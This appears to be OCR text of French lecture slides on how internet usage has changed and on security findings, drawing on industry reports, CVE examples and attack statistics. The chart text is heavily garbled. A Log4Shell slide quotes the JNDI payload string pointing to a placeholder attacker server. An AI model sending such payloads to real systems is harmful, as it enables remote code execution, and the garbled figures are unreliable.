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Evolution des usages

Evolution des réseaux
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Evolution des usages

4 Facteurs principaux d’évolutions

Expertise Accessibilité Diversité M2M
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Evolution des usages

MainFrame -

Expertise Accessibilité

Elevée Importante

Basse I l G Réduite

= Accés par expert uniquement

= Utilisation Scientifique
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Evolution des usages

MainFrame

Mainframe

Triy I

Expertise Accessibilité

Elevée Importante

Basse I 1 G Réduite

= Acces aux utilisateurs du réseau via des

T,
(L

serveurs relais
= Peu de Workstation
= Acces physique aux Workstations obligatoire

COC
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Evolution des usages

Arpanet (1983), WWW (1989

P
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Expertise Accessibilité

Elevée Importante

D Réduite

m  Acces aux utilisateurs du réseau

Basse

membre ARPANET
=  Workstations plus étendues
= HTML, HTTP, URI
= DNS,EMAIL,PC
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Evolution des usages

Internet (2000)

Expertise Accessibilité

Elevée Importante

Basse f

= Acces a tous les utilisateurs possédant

Réduite

un provider

= Navigateur Web,

= Pages personnelles/Professionnelles,
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Evolution des usages

Internet - IoT

_
I

Expertise Accessibilité

Elevée A Importante

Basse f 1
oo(SQoo

= Multiplication des points d’acces 7
1]

= QObjects N
=  Terminaux mobiles (3G, 4G, 5G)

Réduite

= Véhicules

[

= Simplification des interfaces

C G = \ers un tout connecté
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Evolution des usages

MainFrame ~

Diversité Connectivité

Importante Complete

Basse f i Nulle

" Programme scientifique unique

=  Aucune connexion extérieure

COC
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Evolution des usages

MainFrame

Mainframe

Triy I

Diversité Connectivité

Importante Complete

D

= Applications métiers dédiées

T,
(L

=  Pas ou Peu de communication inter-
applications
= Communication entre

Mainframe — Server - Workstation
CDC
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Evolution des usages

Arpanet (1983), WWW (1989)

Diversité Connectivité

Importante Complete

1+ o

= Elargissement des applications (Bulletin

s
i

=i

Board System BBS, client Email, Usenet) R — o WIDEBAND

B EUTTERLY GAFEWAT
4 . . O STHER QATIWAY e e
= Début TCP/IP, comm. Inter-applications —-H-"—]E 2

en pleine croissance _ _

BBEMN Communications Cosporation
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Evolution des usages

Internet (2000)

Diversité Connectivité

Importante Complete

i Nulle

= Multiplication des applications

Basse

commerciales, éducatives

= Communications inter-applications
élevées

= HTTP/HTML, IRC, SSL, Corba
COE /
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Evolution des usages

Internet - IoT

Diversité Connectivité
Importante I A Complete
Basse i — Nulle

= Applications mobiles

= Cloud Computing
= Services tout en ligne (As A Service)
= Communication intensive des

applications entre elles et vers internet

CoC (Big-Data, M2M)
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Evolution des usages

Evolution des activités et logiciels

OVERVIEW OF THE ADOPTION AND USE OF CONNECTED DEVICES AND SERVICES
GLOBAL OVERVIEW

o SOURCES:

TOTAL
POPULATION

8.08

URBANISATION

57.7%

ADVISORY:

UNIQUE MOBILE
PHONE SUBSCRIBERS

5.61
BILLION

vs. POPULATION

69.4%

COMPARABILITY:

INDIVIDUALS USING

THE INTERNET

5.35

vs. POPULATION

66.2%

Digitalin 2024: Global Overview, Hootsuite, 2024
Copyright © Jacques Saraydaryan

SOCIAL MEDIA
USER IDENTITIES

5.04
BILLION

vs. POPULATION

62.3%

we
are <OD> Meltwater

social




Evolution des usages

Evolution des activités et logiciels

Al OVERVIEW OF INTERNET USE

ESSENTIAL INDICATORS OF INTERNET ADOPTION AND USE
GLOBAL OVERVIEW

INDIVIDUALS INDIVIDUALS USING THE YEAR-ON-YEAR CHANGE IN PERCENTAGE OF THE PERCENTAGE OF THE
USING THE INTERNET AS A PERCENTAGE THE NUMBER OF INDIVIDUALS TOTAL FEMALE POPULATION TOTAL MALE POPULATION
INTERNET OF TOTAL POPULATION USING THE INTERNET THAT USES THE INTERNET THAT USES THE INTERNET

i§i L] J
5.35 66.2% +1.8% 63.5% 68.8%

BILLION YOY: +0.9% (+60 BPS) +97 MILLION YOY: +4.9% (+304 BPS) YOY: +4.2% (+285 BPS)

AVERAGE DAILY TIME PERCENTAGE OF USERS PERCENTAGE OF USERS PERCENTAGE OF THE PERCENTAGE OF THE
SPENT USING THE INTERNET ACCESSING THE INTERNET ACCESSING THE INTERNET TOTAL URBAN POPULATION TOTAL RURAL POPULATION
BY EACH INTERNET USER VIA MOBILE PHONES VIA LAPTOPS AND DESKTOPS THAT USES THE INTERNET THAT USES THE INTERNET

& E) 1], P

6H 40M 96.5% 61.8% 78.8% 48.9%

YOY: +0.8% (+3 MINS) YOY: +4.6% (+420 BPS) YOY: -5.8% (-380 BPS) YOY: +3.2% (+252 BPS) YOY: +7.2% (+340 BPS)

SOURCES: we
o COMPARABILITY: are, <OD> Meltwater
social

Digitalin 2024: Global Overview, Hootsuite, 2024
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Evolution des usages

Evolution des activités et logiciels

INTERNET ADOPTION

INDIVIDUALS USING THE INTERNET AS A PERCENTAGE OF TOTAL POPULATION
GLOBAL OVERVIEW

NORTHERN
EUROPE
EASTERN

07.6% EURCPE
88.4%

NORTHERN

AMERICA 90.2%
0 WESTERN —— o FeEm
96.8% EUROPE - SOUTHERN 76.2% BEN

EUROPE

CARIBBEAN B cAsTERN

SES e 76.8% e

2% b

78.8% e BB
ASIA

CENTRAL 42.3% Ale SOUTHERN

AMERICA V\ﬁﬂéﬂ\l 32.]% 7].5% i(;gTH-EASTERN

EASTERN

GLOBAL SOUTHERN AFRICA
AVERAGE AMERICA

OCEANIA
SOUTHERN
AFRICA

SOURCES: : we
COMPARABILITY: are, OO Meltwater
social

Digitalin 2024: Global Overview, Hootsuite, 2024
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Evolution des usages

Evolution des activités et logiciels

SHARE OF WEB TRAFFIC BY DEVICE

PERCEMTAGE OF TOTA

MOBILE
PHONES

59.00%

YEAR-ON-YEAR CHANGE
+9.3%
+504 BPS

SES SERVED

LAPTOP AND
DESKTOP COMPUTERS

38.99%

YEAR-ON-YEAR CHANGE
-10.4%
-454 BPS

Digitalin 2023: Global Overview, Hootsuite, 2023

TO WEB BROWSERS RUNNING OM EACH KIND OF DEVICE

TABLET
DEVICES

L]

1.98%

YEAR-ON-YEAR CHANGE

-19.8%
-49 BPS

Copyright © Jacques Saraydaryan

OTHER
DEVICES

0.02%

YEAR-ON-YEAR CHANGE

-33.3%
-1 BP

<OD> Meltwater

we
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Evolution des usages

Evolution des activités et logiciels

PERCENTAGE OF INTERNET USERS AG

ANY KIND OF
MOBILE PHOMNE

n®
96.2%

YEAR-OM-YEAR CHANGE
-0.4% (-40 BPS)

GAMES
CONSOLE

20.3%

YEAR-OM-YEAR CHAMGE
[UNCHANGED]

SOURCE:

AGED 16 T¢

{0

95.9%

YEAR-OMN-YEAR CHANGE
-0.3% (-30 BPS)

SMART WATCH OR
SMART WRISTBAND

g

29.9%

YEAR-ON-YEAR CHANGE
+9.1% (+250 BPS)

[0 64 WHO OWN EACH KIND OF DEVICE

FEATURE
PHONE

7.9%

YEAR-OMN-YEAR CHANGE
-10.2% (-90 BPS)

TV STREAMING
DEVICE

16.5%

YEAR-OMN-YEAR CHAMGE
+6.5% (+100 BPS)

LAFTOF OR
DESKTOP COMPUTER

L1
38.0%

YEAR-OM-YEAR CHANGE
-8.1% (-510 BPS)

SMART HOME
DEVICE

16.4%

YEAR-ON-YEAR CHANGE
+16.3% (+230 BPS)

Digitalin 2023: Global Overview, Hootsuite, 2023

Copyright © Jacques Saraydaryan

GLOBAL OVERVIEW

TABLET
DEVICE

33.7%
o (o]
YEAR-ON-YEAR CHAMGE

-3.2% (-110 BPS)

VIRTUAL REALITY
DEVICE

5.6%

YEAR-ON-YEAR CHANGE
+16.7% (+80 BPS)

we
are, . {OD>Meltwater
ocial




Evolution des usages

Evolution des activités et logiciels

Réseaux sociaux
IIXNB DAILY TIME SPENT USING THE INTERNET

AVERAGE AMOUNT OF TIME (IN HOURS AND MINUTES) THAT INTERNET USERS SPEND USING THE INTERNET EACH DAY ON ANY DEVICE
GLOBAL OVERVIEW

06:09  06:05

I 0517 0511

FEMALE MALE FEMALE MALE FEMALE MALE FEMALE MALE FEMALE MAILE

16 - 24 25-34 35-44 45 - 54 55-64
YEARS OLD YEARS OLD YEARS OLD YEARS OLD YEARS OLD

we
o SOURCE: COMPARABILITY: a re o (o) Me | two ter
social

COC i
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Evolution des usages

Evolution des activités et logiciels

Réseaux sociaux

THE AVERAGE AMOUNT OF TIME EACH DAY THAT INTERNET USERS AGED 16 TO 64 SPEND WITH DIFFERENT KINDS OF MEDIA AND DEVICES

TIME SPENT USING
THE INTERNET

&

6H 40M

YEAR-ON-YEAR CHANGE
+0.8% (+3 MINS)

TIME SPENT LISTENING TO
MUSIC STREAMING SERVICES

1H 25M

YEAR-ON-YEAR CHANGE
-12.8% (-13 MINS)

o SOURCE:

TIME SPENT WATCHING TELEVISION
(BROADCAST AND STREAMING)

.
3H O6M

YEAR-ON-YEAR CHANGE
-8.2% (-17 MINS)

TIME SPENT LISTENING
TO BROADCAST RADIO

o=
OH 50M

YEAR-ON-YEAR CHANGE
-15.5% (-9 MINS)

COMPARABILITY:

Digitalin 2024: Global Overview, Hootsuite, 2024

TIME SPENT USING
SOCIAL MEDIA

2H 23M

YEAR-ON-YEAR CHANGE
-5.5% (-8 MINS)

TIME SPENT LISTENING
TO PODCASTS

®

OH 49M

YEAR-ON-YEAR CHANGE
-20.3% (-13 MINS)

GLOBAL OVERVIEW

TIME SPENT READING PRESS MEDIA
(ONLINE AND PHYSICAL PRINT)

A
1H 41M

YEAR-ON -YEAR CHANGE
-22.2% (-29 MINS)

TIME SPENT USING
A GAMES CONSOLE

o
1H O2M

YEAR-ON-YEAR CHANGE
-16.7% (-12 MINS)

we
are, <{O>Meltwater
social




Evolution des usages

Evolution des activités et logiciels

Réseaux sociaux
DAILY TIME SPENT USING SOCIAL MEDIA

AVERAGE AMOUNT OF TIME (IN HOURS AND MINUTES) THAT INTERNE 6 TO 64 SPEND USING SOCIAL MEDIA EACH DAY

N ¢

FEMALE MALE FEMALE MALE FEMALE

16 - 24 25-34 35- 44 45 - 54
YEARS OLD YEARS OLD YEARS OLD YEARS OLD

@ e
COC

YON Digital in 2023: Global Overview, Hootsuite, 2023
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FEMALE MALE
55 - 64
YEARS OLD
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Evolution des usages

Evolution des activités et logiciels

Réseaux sociaux
FAVOURITE SOCIAL MEDIA PLATFORMS

PERCENTAGE OF / ( CHO 1S R VOURITE CIAL MEDIA PLATFORM

FAVYOURITE SOCIAL MEDIA PLATFORMS AMONGST FE EINTERMNET USERS FAVOURITE SOCIAL MEDIA PLATFORMS AMO INTERMET USERS

SOCIAL AGE AGE AGE AGE AGE SOCIAL AGE AGE AGE AGE AGE
PLATFORM 16-24 25-34 35-44 45-54 55-64 PLATFORM 16-24 25-34 35-44 45-54 55-64

WHATSAPP 3. . ) WHATSAPP - 18.5% 19.
INSTAGRAM 1% 6% ] : INSTAGRAM 21.3% s 7.0% 4.9%
FACEBOOK 3 d : 9% 8. FACEBOOK 10.5% 15.7%
WECHAT ¥ . . WECHAT
TIKTOK / ) 5.5% 4, 3.2% TIKTOK
DOUYIN s 4.8% 7.6° 3% 3.6% DOUYIN
TWITTER ) 2.1% . . TWITTER
FB MESSENGER A% 2.7% 2. 3% FB MESSENGER
TELEGRAM

LINE

SOURCE: ITES: e
@ dre. . <O>Meltwater
ocial

COC ’

YON Digital in 2023: Global Overview, Hootsuite, 2023




Evolution des usages

Evolution des activités et logiciels

Réseaux sociaux
II\Xl THE WORLD’S MOST USED SOCIAL PLATFORMS

RANKING OF SOCIAL MEDIA PLATFORMS BY GLOBAL ACTIVE USER FIGURES (IN MILLIONS) (NOTE: USERS MAY NOT REPRESENT UNIQUE INDIVIDUALS)

GLOBAL OVERVIEW

FACEBOOK'
YOUTUBE?
,
INSTAGRAM'
TIKTOK? 1,562
FACEBOOK MESSENGER?* * 979
TELEGRAM' 800
DOUYIN®

SNAPCHAT'

PINTEREST'

ADVISORY:

SOURCES: 2 2 we
e COMPARABILITY: are, €O Meltwater
social

COC

YON
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Evolution des usages

Evolution des activités et logiciels

Réseaux sociaux

% outside China who say they've used or visited the following platforms in the past week

All internet users Gen 2 Millennials Gen X Baby boomers

Facebook
WhatsApp
Instagram
Facebook Messenger

TikTok

Born Born
1997-2003 1983-1996

O

Twitter
felegram Messenger
Snapchat

Pinterest
LinkedIn
4E»

Apple iMessage

Boomers

Discord
Born Born
LINE 1964-1982 1955-1963
Reddit
global web index Trends 22: 2022
GWI Core Q1 2023 26,646 internet users outside China aged 16-64
CPLG global web index Trends 22: 2024 26

YON Copyright © Jacques Saraydaryan



Evolution des usages

Evolution des activités et logiciels
TOP 100 WEBSITES ™"

URI. Moy v -

Searches.
il snrage

JAN TOP”\NEBSITES SIMILARWEB RANKING

, BASED ON WEBSITE TRAFFIC BETWEEN C

TOTAL UNIQUE AVERAGE AVERAGE TOTAL UNIQUE AVERAGE .AVEIAGE
# WEBSITE VISITS VISITORS TIME PAGES # WEBSITE VISITS VISITORS TIME
NTHLY (onTHY 2vE] PER VISIT PER VISIT (MONTHIY AVE]  (MONTHIY Ave)  PER VISIT PEII VISI'I'

01 GOOGLECOM 85.598B 2.448B 10M 458 8.6 11 XVIDEOS.COM 2.80B 347 M 8M 475 9.0
02 YOUTUBECOM 1.45B 2 7S - 2 PORNHUB.COM 2458 342 8M 305
FACEBOOK.COM 5 > l 3 AMAZON.COM 2428 : 7M 145

INSTAGRAM.COM A7 1M d 4 XNXX.COM GOOGLE.COM

WiKIPEDIA

WIKIPEDIA ORC.

TWITTER.COM b. 764 M 0S 9. 5 TIKTOK.COM

vanoo.com

BAIDUCOM s 206 M .0 YAHOO.CO.JP

WIKIPEDIA.ORG 2 741 M 3 ; L 7 LVECOM

facebook

FACEBOOK.COM

08 YAHOO.COM 3. 294 M £ B DOCOMO.NE.JP

2
NDEX.RU 150 M A 158 1 9 REDDITCOM 185 M

ReporT com

WHATSAPR.COM 293B 360M : 78 O LINKEDIN.COM 9 244 M

<O>Meltwater

soclul

Digitalin 2024: Global Overview, Hootsuite, 2024

Gatekeepers e
Pescentage of 43.7% Alphabet = @
Top 190 watte s o

A

] s

CoC G i

2
YON Copyright © Jacques Saraydaryan https://www.visuaIcapitaIist.com/wp-content/upIoads/2019/08/top-100—websites-ranking%tml



Evolution des usages

Evolution des activités et logiciels

Breakdown by Categories™*

THE WORLD'S : .

News & Media Publishers @ @ 0000009099 11 'l‘ - = . ' SN
op 50 - 9@

Social MediaNetworks @ 0 0 000000 O® 10 rl . ? ‘. : |
gl Websites @ C P
] ®

Search Engines

Adult

Programming &
Developer Software

Streaming & Online TV

Google ==
8518

ctionaries & Encyclopedias
Marketplace

Emails

N NN NN O o 1 O

GOOGLE.COM

Video Games Consoles
& Accessories

https://www.visualcapitalist.com/wp-
content/uploads/2023/01/top-50-
websites-2023-fullsize.html

COC 2

YON Copyright © Jacques Saraydaryan




Evolution des usages

Evolution des activités et logiciels

Usage des Smartphones
Desktop vs Mobile vs Tablet Market Share Worldwide

Jan 2009 - Sept 2024

100%

M~ N ”""M

CR&

r Desktop Mobile <0 Tablet



Evolution des usages

Evolution des activités et logiciels

Usage des Smartphones

MOMTHLY AVERAGE GLOBAL MOBILE NETWORK DATA TRAFFIC (UPLOAD AMD DOWNLOAD] IM EXABYTES (BILLIOMNS OF GIGABYTES)

GLOBAL OVERVIEW

107.58

MOMNTHLY CELLULAR DATA CONSUMED BY
THE AVERAGE SMARTPHONE WORLDWIDE: ®

13.60

6.36 1.0 B.67 s 108 E‘ DA1 REP IRT4

Q2 Q3 Q4 Ql Q2 Q3 Q4 Ql Q2 [ek] Q4 al Q2 Q3 Q4 Q1 Q2 Q3 Q4 Ql Q2 Q3 Q4 al Qz
2016 2018 2016 2017 2017 2017 2017 2018 2018 2018 2018 2019 2019 2019 2019 2020 2020 2020 2020 2021 2021 2021 2021 2022 2022

SOURCE: AONTHLY we
COMPARABILITY: are¢ (o) Meltwqter
social

Digitalin 2023: Global Overview, Hootsuite, 2023



Evolution des usages

Evolution des activités et logiciels
Usage des Smartphones

Y"[
1

|
|
|
B

1]

19

|
B

Global mobile device and connection growth

- o
Billions of ‘
Devices or ;
Connections

S Global M2M connections/loT growth by vertical
Note: This view includes . -
M2M. LPWA includes

By 2023, connected home largest, connected car fastest growth
cellular LPWA (e.g., NBIOT)
and non-cellular LPWA (e.g.,
LORA)

2018 2019 2020 2021 2022 2023 * Figures (n) refer to
2018, 2023 network
connection type share

—

1 —

SHloNS ——— -
Mo —— - -

cConnections - -

COC

YON

https://www.cisco.com/c/en/us/solutions/service-provider/visual-networking-index-vni/index.html



Evolution des usages

Evolution des activités et logiciels

Non Human Traffic m Bad Bot Good Bot = Humain

Bad Bot Report 2024
COC 24
LYON

Copyright © Jacques Saraydaryan



Evolution des usages

Evolution des activités et logiciels

Non Human Traffic
Bad Bot v Good Bot v Human

m Bad Bot = Good Bot = Humain Traffic 2023

)
o A
32% 50.4%

Bad Bot Human

Bad Bots 32 % A

+1.8%

Percentage
change from
the previous
year

wman  50.4% N7

-2.2%

CPC Bad Bot Report 2024
e Copyright © Jacques Saraydaryan

35



Evolution des usages

Evolution des activités et logiciels

Non Human Traffic Bad Bot v Good Bot v Human Traffic 2023 - Industry Breakdown

Gaming |y}

Telecom & ISPs 49.3%

Computing &IT  WLH-T4

Travel 44.5%
Community & Society 42.2%

Business Services 40.9%
Healthcare 33.4%

RELEEN 31.9%

Entertainment 31.1%

Gambling 30.8%
Financial Services [lrvk4
Retail  [fPR: 3

Education 23.9%

Law & Government [ELK:14
Lifestyle 22.7%

SLE 21.4%
Automotive [k}

Food & Groceries [EXEA

wereing - SR x Bad Bot Report 2024
CPG 0% 25% 50% 75% 100% 36
L

YON Copyright © Jacques Saraydaryan




Evolution des usages

Evolution des activités et logiciels

Online Transaction
OVERVIEW OF CONSUMER DIGITAL PAYMENTS

HEADLINES FOR THE ADOPTIOM AMD USE OF DIGITALLY ENABLED PAYMENT SERVICES BY EMND COMSUMERS

NUMBER OF YEAR-ON-YEAR CHANGE TOTAL ANNUAL VALUE YEAR-ON-YEAR CHANGE AVERAGE ANNUAL VALUE
PEOPLE MAKING IN THE NUMBER OF PEOPLE OF DIGITAL PAYMENT IN THE VALUE OF DIGITAL OF DIGITAL PAYMENTS
DIGITAL PAYMENTS MAKING DIGITAL PAYMENTS ~ TRANSACTIONS (USD, 2022) PAYMENT TRANSACTIONS PER USER (USD, 2022)

() . X $ 2
416 +8.3% $8.49 +129% $2,040

BILLION +321 MILLION TRILLION +$967 BILLION YOY: +4.1%

SOURCE: MNOTES: we
@ dre, . <O>Meltwater
COMPARABILITY: soclal

C vag Digital in 2023: Global Overview, Hootsuite, 2023 38



Evolution des usages

SumUp

O Changements drastiques
= Multiplication de la diversité des applications
= Facilitation d’acces aux ressources
= Multiplication des communications inter-applications
U De nouveaux usages:
= Usage massif des réseaux sociaux
= La part du multimédia tres impactante sur le réseau mondial
= Mobiles plus utilisés que Laptop/Desktop
= Explosion des transactions M2M

O Augmentation constante des ventes sur internet /fe-commerce

COC

YON



Les constats de sécurité

Les constats
de sécurite
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Les constats de sécurité

Sommes nous

vulneérables ?

COE :

Copyright © Jacques Saraydaryan



Les constats de sécurité

Sommes nous vulnérables ?

O Faiblesse de conception Vulnérabilités

[ Faiblesse implémentation

O Faiblesse configuration e.g Code e.g Privilege

. A
execution escalation
 Faiblesse d’utilisation - B
|
[ |
e.g Information
disclosure
ey’
| |

e.g Sql Injection

COC

YON



Les constats de sécurité

https://informationisbeautiful.net/visualizations/million-lines-of-code/

Sommes nous vulnérables ?

Evolution du nombre de vulnérabilités

30000 28819
7131
250438 B
25000 - | B B
20137
20000 +° 18351 B B
16511%96-
14649 @ B Bl Bl Bl Bl Bl
15000 1 _
10000 + 7937 anid B (B BB BB (B B
493i§?35135325?323 528§135 5433‘_
5000 4 451 i%fu & B EEEIBEINEIE
204 1679156529
2 3 11 15 13 13 25 25 75 252246°° %102 | I| I ||
b Rt el [ [ §HH NN
mmc::x—imm-qru'uu::hoocnc:-.—|mm-¢rmmhmmcx—immﬂ-mmhmmcﬂmmﬁ-
0 o o v Sy v v v v S v o 2o 9 99 oo 9 o 9 9 9o 2 = < =~ =~ =<9 -~ S e~ < 4 ~« «§ &8 &9 ©
oy O o0 O O o o o0 o0 o o Oy O O O o o o o o o o o o o o o o o o o o o o o o o
— el e e e e e e e e e - NN N N N N N N SN N SN N NN NN N N N N N N N N ™

http://web.nvd.nist.gsov
apla | ;
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http://web.nvd.nist.gov/
https://informationisbeautiful.net/visualizations/million-lines-of-code/

Les constats de sécurité

Low [l

Sommes nous vulnérables ? =

20,000

Distribution

18,000 -

16,000

14,000 -

12,000

10,000

8,000

6,000

4,000

2,000

2001 2002 2003 2004 2005 20086 2007 2008 2003 2010 20M 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022

C p G https://nvd.nist.gov/general/visualizations/vulnerability-visualizations/cvss-severity-distribution-over-time
45
L
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Les constats de sécurité

Sommes nous vulnérables ?

E Common Vulnerability Scoring System Calculator What is the Common Vulnera b|||ty
This page shows the components of the CVSS score for example and allows you to refine the CVSS base score. Please read the CVSS Scoring System (CVS S)

standards guide to fully understand how to score CVSS vulnerabilities and to interpret CVSS scores. The scores are computed in sequence

such that the Base Score Is used to calculate the Temporal Score and the Temporal Score is used to calculate the Environmental Score. . . - L
The CVSS is one of several ways to measure the impact of vulnerabilities, which is

. Base Scores . [emporal o Ervironmental L, Overalt CI"'SS Bt"s“bs““: 200'0 commonly known as the CVE score. The CVSS is an open set of standards used to assess
o o o o mpact Subscore: 6.

10.0 10.0
8.0 8.0 8.0 8.0 Exploitability Subscore: 3.9 a vulnerability and assign a severity along a scale of 0-10. The current version of CVSSis
6.0 6.0 6.0 6.0 CVSS Temporal Score: NA . .
.0 & w0 .0 .0 CVSS Environmental Score: NA v3.1, which breaks down the scale is as follows:
2.0 = 2.0 2.0 2.0 Modified Impact Subscore: NA
0.0 0.0 0.0 0.0 Overall CVSS Score: 10.0

Base mpact  Exploitability Termporal Environmental Modified Impact Overall .

Severity Base Score
CVSS v3.1 Vector
AV:NJAC:L/PR:N/UI:N/S:C/C:H/1:H/A:H N 0
one

Base Score Metrics

Exploitability Metrics Scope (5)* Low 01-3.9
Attack Vector (AV)* Unchanged (S:U)
Adjacent Network (AVA]  Local (AV:L) |~ Physical (AV:P) Impact Metrics
Attack Complexity (AC)* Confidentiality Impact (C)* Medium 4.0-6.9
High (AC:H) None (C:N)  Low (C:L)
Privileges Required (PR)* Integrity Impact (1)*
Low (PR:L)  High (PR:H) None (1N} | Low (L) High 7.0-8.9
User Interaction (U1)* Availability Impact (A)*
Required (UI:R) None (A:N)  Low (A:L)

Critical 9.0-10.0

* - All base metrics are required to generate a base score.

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator https://www.imperva.com/learn/application-security/cve-cvss-vulnerability/
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CVE-2022-35708

Adobe Bridge version 12.0.2 (and earlier) and 11.1.3 (and

earlier) are affected by a Heap-based Buffer Overflow

v3.1.--

V2.0:(not available)
vulnerability that could result in arbitrary code execution

in the context of the current user. Exploitation of this issue

requires user interaction in that a victim must open a

malicious file.

Published: septembre 19, 2022; 12:15:11 PM -0400

CVE-2023-38604

CVE-2021-24042

V3.1:
V2.0:(not available)

An out-of-bounds write issue was addressed with improved
input validation. This issue is fixed in watchOS 9.6, macOS
Big Sur 11.7.9, i0S 15.7.8 and iPad0S 15.7.8, mac0S
Monterey 12.6.8, tvOS 16.6, i0S 16.6 and iPad0S 16.6,
macOS Ventura 13.5. An app may be able to execute
arbitrary code with kernel privileges.

9.8 CRITICAL

Published: July 28, 2023; 1:15:11 AM -0400

The calling logic for WhatsApp for Android prior to v2.21.23,
WhatsApp Business for Android prior to v2.21.23, WhatsApp
for iOS prior to v2.21.230, WhatsApp Business for iOS prior
to v2.21.230, WhatsApp for KaiOS prior to v2.2143,
WhatsApp Desktop prior to v2.2146 could have allowed an

V2.0:

out-of-bounds write if a user makes a 1:1 call to a malicious
actor.

Published: janvier 04, 2022; 2:15:14 PM -0500

"LOGASHELL" APACHE LOG4J -
REMOTE CODE EXECUTION (CVE-2021-44228)

Apache Log4j is an open-source Java-based logging package provided by the Apache
Software Foundation, as part of the Apache Logging Services. It is the most popular Java
logging library, by millions of Java-based applications worldwide to record activities
such as routine system operations and error messages and to send diagnostics to
system admins. On December 9, the Apache Foundation an emergency Log4j
version to address a critical flaw in the logging framework. This flaw threat
actors to compromise a machine by sending it a simple string such as
*${jndi:ldap://attacker_server/path}" as part of the HTTP request, User-Agent or any
other input likely being logged by the server using Logéj. By controlling the messages
logged via the logging package, arbitrary code could be executed from a remote server.
Called ‘Log4Shell’, the vulnerability the security community by storm due to its far-
reaching effects on millions of companies, Cisco, Twitter, Cloudflare, Tesla,
Amazon and Apple, that use Log4j. Widespread exploitation of the flaw was

almost immediately, both by low skilled attackers to ryptominers, as well as by
State sponsored APT groups, to access to corporate networks. According to Check
Foint Research approximately 48.3% of organizations were affected by exploitation
altempts of the Log4Shell Vulnerability in 2021.

compromise a machine by sending it a simple string such as
"${jndi:\dap://attacker_server/path}' as part of the HTTP request, User-Agent or any
other input likely being logged by the server using Logé4j. By controlling the messages
logged via the logging package, arbitrary code could be executed from a remote server.

raydaryan https://nvd.nist.gov

Checkpoint 2022 Cyber Security Report
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Desktop, Mobile & Tablet Operating System Market Share Worldwide

Jan 2009 - Sept 2024
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SUNOS 222 247
SOLARIS ZNWfpat]

LOW EMEDIUM RHIGH

ENTERPRISE LINUX DESKTOP 855 472
ENTERPRISE LINUX SERVER 841 454
ENTERPRISELINUX WORKSTATION
ENTERPRISE LINUX
ENTERPRISE LINUX SERVEREUS
ENTERPRISE LINUX SERVER AUS
SOLARIS
OPENSUSE
WINDOWS SERVER 2008
WINDOWS 7
WINDOWS 10
WINDOWS SERVER 2012
WINDOWS SERVER 2016
WINDOWS 8.1
WINDOWSRT 8.1
WINDOWS SERVER 2019
WINDOWS VISTA
WINDOWS XP
WINDOWS 2000
LINUX KERNEL
DEBIAN LINUX
10s
UBUNTULINUX
MAC 05 X
MAC OS X SERVER 357 210

C p G Low = CVSS Score [0-3], Medium CVSS Score[4-6]; Heigh CVSS Score[7-9] "
LYON

https://www.cvedetails.com/top-50-product-cvssscore-distribution.php 2021
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Adobe (13.5%)

Linux (5.2%)

. Unseen on endpoints

Microsoft (12.4%)

Oracle (3.5%)

Seen on endpoints

Apple (6.8%)

Google (2.6%)

. Seen and attacked

Fortinet, Global Threat Landscape Report, 2023
Figure 3: CVEs for multiple platforms by presence on endpoints and among attacks
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Browser Market Share Worldwide
Jan 2009 - Sept 2024
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LOW mMEDIUM EHIGH
EDGE Jists 150

SAFARI

FIREFOX ESR
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What's new! Search Log in

(& CVEdetails.com
_ i Product Search

Vulnerabilities

By Date Product Type: Application Operating System Hardware

By Type

Known Exploited

Assigners # Product Name Vendor Name Number of Vulnerabilities Product Type
CVSS Scores 1 Safari Apple 1402 Application

https://www.cvedetails.com/product-list.php
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Mobile Operating System Market Share Worldwide

Jan 2009 - Sept 2024
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LOW m MEDIUM mHIGH

IPHONE OS

ANDROID

C p G Low = CVSS Score [0-3], Medium CVSS Score[4-6]; Heigh CVSS Score[7-9]
LYON https://www.cvedetails.com/top-50-product-cvssscore-distribution.php 2021
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What's new! Search Log in

& CVEdetails.com
N . Product Search

Q  android

Vulnerabilities

By Date Product Type:  Application Operating System Hardware
By Type
Known Exploited
Assigners # Product Name Vendor Name Number of Vulnerabilities Product Type
CVSS Scores 1 Android Motorola 2 0S
EPSS Scores 2 Android Samsung 123 0S
Search )
3 Android Google 6444 08

https://www.cvedetails.com/product-search.php
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Distribution of exploits used in o )
. 4.09% 4.96
attacks by type of application
attacked, November 2022 —
October 2023

B OracleJava I Android0S
M Browsers Adobe Flash Player
B Adobe Reader Microsoft Office

£ Kaspersky Lak

@ Adobe Flash . Android Jrowsel . Java ‘ Office ‘ PDI

https://securelist.com/kaspersky-security-bulletin-2023 statistics The distribution of exploits used by fraudsters, by type of application attacked, 2014
Kaspersky security report 2014: overall statistic

CPG Copyright © Jacques Saraydaryan 57
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ENVIRONMENTS COMPROMISED
BY INDUSTRY

IT ENVIRONMENTS COMPROMISED BY INDUSTRY

100%
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COE
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REIN FME
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L CLOUD J
TrustWave Global Security Report 2020

PROFESSINAL

SERTIES

Industry

Financial

Business and Professional Services
High Tech

Retail and Hospitality
Healthcare

Government

Construction and Engineering
Transportation and Logistics
Education

Entertainment and Media
Utilities

Telecommunications

Energy

Other

Aerospace and Defense
Agricultural and Forestry

Nonprofits

Copyright © Jacques Saraydaryan

Global Industries Targeted, 2023

Percent of Investigations

4.1%

2.1%
1.7%
1.3*
1.3*
0.9%
0.8*
0.8%

o] 5 10

Mandiant M-Trends, Special report, 2024
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Top targeted website categories during H1 2024 and between 01/2023 and 06/2024

Targeted Web Categories

January 2023 to June 2024

Government
4231

Business and Economy
2737

Computer and Internet Info
472

Uncategorized
492

Health and Medicine
530

News and Media
714

Society

T2

Financial Services LEducational Institutions
1520 817

Radware global Thread Analysis report 2024

CPLG Copyright © Jacques Saraydaryan

YON

Most Attacked Industries in 2024 H1

Healthcare
17%

Finance
Others 43.6%

12.2%

Technology
9.91%

Government
7.2% Gaming and Betting
Transportation & Logistics 4.95%
5.07%

Radware global Thread Analysis report 2024
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Corporate/Internal Network

2% 2%

%

Cloud

64% Phishing/SE

4% Application Exploit
M%  Malicious Insider
9% Weak password
2% Code Injection

6% Service Provider
2% Credential Stuffing
2% Other

45% Phishing/SE

23% Application Exploit
12% Malicious Insider
6% Weak password
12% Credential Stuffing
6% Other

E-Commerce

POS

TrustWave Global Security Report 2020

Copyright © Jacques Saraydaryan

8% Phishing/SE

25% Application Exploit
17% Malicious Insider
33% Code Injection
17% Other

75% Phishing/SE
25% Service Provider

62
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Initial Infection Vector (When Identified) Observed Malware Families by Category, 2023

Other Ransomware Dropper

19

Phishing Stolen Credentials

Downloader Tunneler

%
Brute Force
%o % %
